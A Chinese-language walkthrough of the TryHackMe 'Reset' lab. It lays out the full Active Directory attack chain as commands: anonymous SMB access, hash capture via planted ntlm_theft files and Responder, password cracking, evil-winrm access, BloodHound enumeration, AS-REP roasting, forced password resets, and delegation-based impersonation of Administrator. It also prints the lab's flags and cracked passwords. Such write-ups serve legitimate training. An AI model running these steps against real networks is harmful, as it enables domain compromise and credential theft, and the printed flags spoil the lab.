TryHackMe-reset渗透靶场的解决思路以及遇到的一些问题
实验需要我们获得两个flag,一个是user
用户的flag,还有一个是获得root
用户的flag
为了方便操作,我们先用openvpn连接到我们本地的kali虚拟机上(官方文章)
但是连接openvpn用了我蛮久时间,这个对网络的要求蛮高的,有几个点,第一个kali里面也要挂梯子,然后一次不成功记得多试几次,还不行就试试在官网上换个节点再试试。
连接成功后,连接页面这里会显示连接成功,并且可以看到给我们分配的虚拟ip为10.17.6.118
,这个ip是固定ip
外部打点
我们开启靶机,我们的靶机ip为10.10.254.2
(后面靶机过期,所以重新打开靶机,ip地址会变化,除了固定分配的ip之外的其他ip都是我们的靶机ip)
先用nmap扫描一下端口,这里实战中如果觉得太速度太快了可能被发现的话,可以改一下速度
1 | nmap -Pn -sC -sV 10.10.254.2 |
我们看到了开放了一些端口,而且还知道了域名为THM
,计算机名字为HAYStack
1 | PORT STATE SERVICE VERSION |
我们看到他打开了445端口,有SMB服务,打开了3389端口,可以尝试远程桌面连接。但是我们该怎么打进去呢,这里也没有web服务。
我们先从SMB服务入手吧,尝试一下用CrackMapExec
进行SMB枚举
匿名用户访问
1 | #尝试使用已知的用户名和密码进行身份验证、枚举可访问的共享资源等。 |
我们使用前两个命令,发现并没有显示什么共享资源,而且报错STATUS_USER_SESSION_DELETED
,所以我们想到给他一个用户
第三个命令中我们指定了用户名为QW
,密码为空,用户名为我们自己指定的任意值
这个命令就列出了我们的共享资源,但是为什么呢?这里QW
这个用户名也是原来的计算机中不存在的呀。这里是由于当开启支持匿名访问的文件共享后,其他用户不需要输入用户名和口令,可以直接访问文件服务器的共享文件。所以这里的原因是由于靶机支持匿名登录。当使用SMB协议输入一个不存在的用户名时,系统会将我们作为匿名用户对待,并授予我们访问共享资源的权限。
我们看到这里的DATA
这个共享目录,有读和写的权限,那我们就访问一下这个目录
这里由于转义原因,我们需要多加对应个数的斜杠,回车会提示输入密码,随便输入一个即可,一次没成功,多试几次就行
1 | smbclient -U 'QW' \\\\10.10.99.197\\Data |
然后我们看看他当前目录有哪些文件
1 | ┌──(kali㉿kali)-[~] |
切换到onboarding
看一下
1 | smb: \> cd onboarding |
我们看到两次访问的文件名发生了变化,那证明这个目录下存在活动。
我们将这三个文件下载下来查看一下
1 | mask "" |
mask ""
: 这个命令将掩码设置为空,意味着匹配所有文件名。在批量操作中,掩码用于指定要匹配的文件名模式,如果将掩码设置为空,则表示匹配所有文件。recurse ON
: 这个命令将递归设置为打开状态。当递归设置为打开时,在批量操作中还会包括子目录下的文件。因此,如果有子目录,也会下载其中的文件。prompt OFF
: 这个命令将提示设置为关闭状态。在FTP批处理操作中,通常会询问用户是否要下载每个文件,如果将提示设置为关闭,则在下载过程中不会提示用户,而是自动执行下载操作。mget *
: 这个命令用于批量下载所有文件。根据前面设置的掩码、递归和提示选项,该命令将下载当前目录下的所有文件,包括子目录中的文件,且不会提示用户确认每个文件的下载。
通过以上几个命令,我们把onboarding
目录下的文件下载到我们的机器上,我们查看一下txt文件里面的内容。
通过上面信息我们可以知道,我们的初始密码为:ResetMe123!
ntlm theft生成hash窃取文件获取hash值
上面我们说到这个目录下的文件名在时刻变化,所以我们如果把我们的文件也放在该目录下,那当受害者访问该文件时,我们就可以获取到他的NTLM hash
。
这里我们要利用到ntlm_theft这个脚本
1 | #这里的ip为一开始THM给我们分配的ip,并不是靶机的ip |
这将在我们当前目录下生成一个qw文件夹,我们进入该qw
文件夹,然后进行SMB连接
1 | smbclient -U 'QW' \\\\10.10.0.69\\Data |
然后上传对应文件,记得要在onboarding
目录下上传
1 | put qw.lnk |
再在Responder
开启监听
1 | sudo responder -I tun0 -v |
过一会后收到用户的密码以及hash值
我们成功得到了NTLNv2 hash
,并且还知道了用户名为AUTOMATE
1 | [SMB] NTLMv2-SSP Client : 10.10.0.69 |
拿到了hash值,我们先用hashcat
或者john
爆破一下,保存hash值到hash.txt
1 | hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force --show |
得到密码为Passw0rd1
,得到密码之后我们就尝试登录。
我们前面看到开启了3389
端口,我们分别用kali和win10连接一下,发现都连接不上
应该是当前的账户不能RDP
这里看了下网上的wp,用的是evil-winrm
这个工具
1 | evil-winrm -i 10.10.141.138 -u AUTOMATE -p Passw0rd1 |
拿下shell
然后得到第一个user的flagTHM{AUTOMATION_WILL_REPLACE_US}
1 | *Evil-WinRM* PS C:\Users\automate\Documents> dir |
这里有一个思考,那就是怎么想到用Evil-WinRM
这个工具的呢?
WinRM = Windows Remote Management
,即Windows远程管理
内网信息收集
我们拿下了第一台机器之后,就看一下域内还有哪些其他的机器,下一步我们的目标是拿下域控
我们输入systeminfo
命令查看,发现我们没有权限执行
1 | *Evil-WinRM* PS C:\Users\automate\Desktop> systeminfo |
查询一下域内用户的信息
1 | *Evil-WinRM* PS C:\Users\automate\Desktop> net user /domain |
然后再查询一下域控的主机名
1 | *Evil-WinRM* PS C:\Users\automate\Desktop> net group "Domain Controllers" /domain |
然后查看一下域管的名字
1 | net group "domain admins" /domain |
可以知道域管的名字为Administrator
由一开始查域内用户可知,我们现在就是要提权到Administrator
域管用户,然后再横向移动到域控
现在我们利用一下Bloodhound进行一下域内的信息收集
1 | bloodhound-python -ns 10.10.188.230 --dns-tcp -d THM.CORP -u 'automate' -p 'Passw0rd1' -c All --zip |
然后将生成的zip文件导入bloodhound
图形化界面中(安装教程参考 ),查看信息
1 | sudo neo4j start |
横向移动
我们从上面的分析中看到,检查 AS-REP Roastable
用户,有 3 个用户。这表示以下三个用户支持 AS-REP
。
ERNESTO_SILVA@THM.CORP
TABATHA_BRITT@THM.CORP
LEANN_LONG@THM.CORP
AS-REP Roasting
接下来我们就利用这几个用户,使用AS-REP Roasting
攻击。
AS-REP Roasting
攻击利用了Kerberos协议中的弱点,其中AS-REP请求是一种允许用户使用预身份的请求,而不需要提供密码。攻击者可以通过发送特制的AS-REP请求,从域控制器获取目标用户的加密AS-REP票据。
这个攻击的利用前提为:
需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “。但是该属性是默认不勾选的。
我们使用impacket
的GetNPUsers.py
脚本来分别请求这三个用户的TGT票据,记得要把ip写上噢
1 | impacket-GetNPUsers thm.corp/ERNESTO_SILVA -request -no-pass -dc-ip 10.10.234.211 |
接下来分别用john
(我用hashcat
没有爆出来)对这三个结果进行爆破
1 | john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt |
只有第二个TABATHA_BRITT
用户爆破出了密码,为marlboro(1985)
可以用 john --show 2.txt
显示密码
这里后面我再试了一下,hashcat
也可以进行爆破
如果$krb5asrep
后面没有$23
的话,要在$krb5asrep
后面添加$23
拼接。才能变成hashcat
可以识别的格式
1 | hashcat -m 18200 2.txt /usr/share/wordlists/rockyou.txt --force |
然后我们争对TABATHA_BRITT
用户再进行枚举
1 | bloodhound-python -ns 10.10.20.164 --dns-tcp -d THM.CORP -u 'TABATHA_BRITT' -p 'marlboro(1985)' -c All --zip |
可以看到这里我们想到达 DARLA_WINTERS
的路线就是从TABATHA_BRITT
到 SHAWMA_BRAY
的 GenericAll
。然后将密码从 SHAWMA_BRAY
强制更改为 CRUZZ_HALL
。最后从 CRUZ_HALL
到 DARLA_WINTERS
的通用写入。
这里为什么我们要选择这条路线呢?我们可以看到这条路线最后的WINTERS
用户可以到达DOMAIN COMPUTERS
域控机器,聪明BRITT
出发就只有这一条路线到域控
我们右键路线,选择help
然后可以看到这里我们可以看到可以通过RPC
使用GenericAll
更改用户的密码。这也适用于 ForceChangePassword
和 GenericWrite
。
由于 TABATHA_BRITT
具有 SHAWNA_BRAY
的 GenericAll
,因此我们可以使用它来重置 SHAWNA_BRAY
的密码。
使用net rpc
来实现这一点。
1 | net rpc password "SHAWNA_BRAY" "newPassword@2024" -U "thm.corp"/"TABATHA_BRITT"%"marlboro(1985)" -S "10.10.49.98" |
来验证一下密码修改成功了没
1 | crackmapexec smb 10.10.49.98 -u DARLA_WINTERS -p 'newPassword@2024' |
然后我们再对DARLA_WINTERS
用户进行一下枚举
1 | bloodhound-python -ns 10.10.20.164 --dns-tcp -d THM.CORP -u 'DARLA_WINTERS' -p 'newPassword@2024' -c All --zip |
我们看到DARLA_WINTERS
用户,可以通过CIFS
服务进行委派攻击
委派攻击
Impacket
的getST
脚本将请求服务的Ticket
并将其保存为 ccache
。如果帐户具有受限的委派权限,可以使用 -impersonate
标志代表其他用户请求票证。
在请求票据之前,我们先输入下面这个命令。这个命令可以从指定的 NTP 服务器上获取准确的时间,并将系统时间调整到与之同步。
1 | ntpdate -s thm.corp |
然后再开始获取票据,这里我试了好多次好多命令都没成功,最终执行下面这个命令成功了,我的感觉就是命令要尽量写的完整,ip和域名和用户名密码都尽量写上。
1 | impacket-getST -spn "cifs/haystack.thm.corp" -dc-ip 10.10.20.164 -impersonate "Administrator" "thm.corp/DARLA_WINTERS:newPassword@2024" |
1 | export KRB5CCNAME=Administrator.ccache |
但是我这里在输入第二个命令的时候一直报错
提示找不到服务,这是由于没有解析我们的域名导致的
我们需要编辑下我们的hosts
文件,文件位于/etc/hosts
。我们在文件的任意位置加上
1 | 靶机IP HayStack.thm.corp |
然后再次尝试
然后寻找第二个flag
为THM{RE_RE_RE_SET_AND_DELEGATE}
我们可以画一个这个靶场的总思路思维导图
参考文章
https://jaxafed.github.io/posts/tryhackme-reset/#access-as-tabatha_britt
https://0xb0b.gitbook.io/writeups/tryhackme/2024/reset#initial-access